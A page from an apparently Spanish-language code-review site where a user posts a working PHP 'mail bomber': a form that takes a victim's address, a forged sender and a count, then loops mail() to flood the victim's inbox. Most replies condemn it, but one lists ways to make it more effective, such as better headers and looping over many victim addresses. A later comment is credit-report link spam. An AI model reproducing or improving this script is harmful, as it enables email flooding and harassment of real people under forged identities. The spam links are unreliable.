D41d8cd98f00b204e9800998ecf8427e

Es muy sencillo

<?
if($enviar) {
$victima = $_POST['victima'];
$nombre = $_POST['nombre'];
$asunto = $_POST['asunto'];
$mensaje = $_POST['mensaje'];
$email = $_POST['email'];
$mails = $_POST['mails'];
$a=0;
while($a<$mails) {
mail($victima,$asunto,$mensaje,"From: $nombre <$email>\n");
$a++;
}
echo "Acabas de joder al pobre $victima";
}
?> <form name="form1" method="post" action="<? echo $PHP_SELF; ?>">
<div align="center">Contacto General</div>
<div align="center">
    Nombre:<br>
    <input name="nombre" type="text" class=inbox id="nombre">
    <br>
Email Falso:<br>
<input type="text" name="email" class=inbox>
<br>
Victima:<br>
<input type="text" name="victima" class=inbox>
<br>
Mails:<br>
<input name="mails" type="text" class=inbox id="mails">
<br>
Asunto:<br>
<input name="asunto" type="text" class=inbox id="asunto">
<br>
Mensaje:<br>
<textarea name="mensaje" cols="30" rows="5" class=inbox></textarea>
<br>
<br>
<input type="submit" name="enviar" value="Enviar" class=boton>
  </div></form>

Refactorings

No refactoring yet !

D41d8cd98f00b204e9800998ecf8427e

DDragonz

October 28, 2007, October 28, 2007 15:05, permalink

1 rating. Login to rate!

And why should they (i just mean the people here on refactormycode) help you making a mail bomber???

B75af017dff87047c05382ccbc195dcd

Sociopath

October 31, 2007, October 31, 2007 10:47, permalink

No rating. Login to rate!

Ban this user.

078408b918e67a9505123f616c245a0b

seba

November 1, 2007, November 01, 2007 14:18, permalink

No rating. Login to rate!

eso esta terriblemente mal... te funcionó? a simple vista me parece que no... de todas formas, te faltan varias cosas para que ese script pueda llamarse 'mail bomber':
- una MUY BUENA CABECERA (sino, no sirve de nada)
- chequear que efectivamente se pudo enviar el mail
- chequear que la direccion fue escrita correctamente
- sacar el while, parsear una lista de mails de la victima y usá el foreach
- no estas controlando qué datos vienen en el $_POST! (ni cómo vienen!) y si no llenó el form?

bueno, ahora no se me ocurre nada más. de cualquier manera, ¿para qué carajo querés hacer un mail-bomber?!!! el mercado está lleno de productos comerciales/gratuitos que pueden hacer el trabajo muchísimo mejor y más rápido...

aparte... en vez de esta pelotudez, ponete a laburar...
salu2

551afcc0ab0b0377bfd9d59f46a2e1aa

meth

November 4, 2007, November 04, 2007 02:27, permalink

No rating. Login to rate!

Vaya porquería de código, ¿y esperas que te ayudemos a mejorar tu mail bomber?, estás loco

05ab846795c0f495c4fb25f5e0bec4f8

1agriequerirm

April 21, 2009, April 21, 2009 06:29, permalink

No rating. Login to rate!

0703. <a href=http://blogs.ign.com/partner55346429/2008/05/06/88882/><b>Linkall Order Free Consumer Credit Report Bureau Check Score</b></a> 12353. <a href=http://freecreditreport.hi5.com/><b>Free Credit Report No Credit Card Needed</b></a> 12495. <a href=http://freecreditreports.hi5.com><b>Free Credit Reports Online</b></a> 12572. <a href=http://freeannualcreditreport.hi5.com/><b>Equifax Free Annual Credit Report</b></a>

Your refactoring





Format Copy from initial code

or Cancel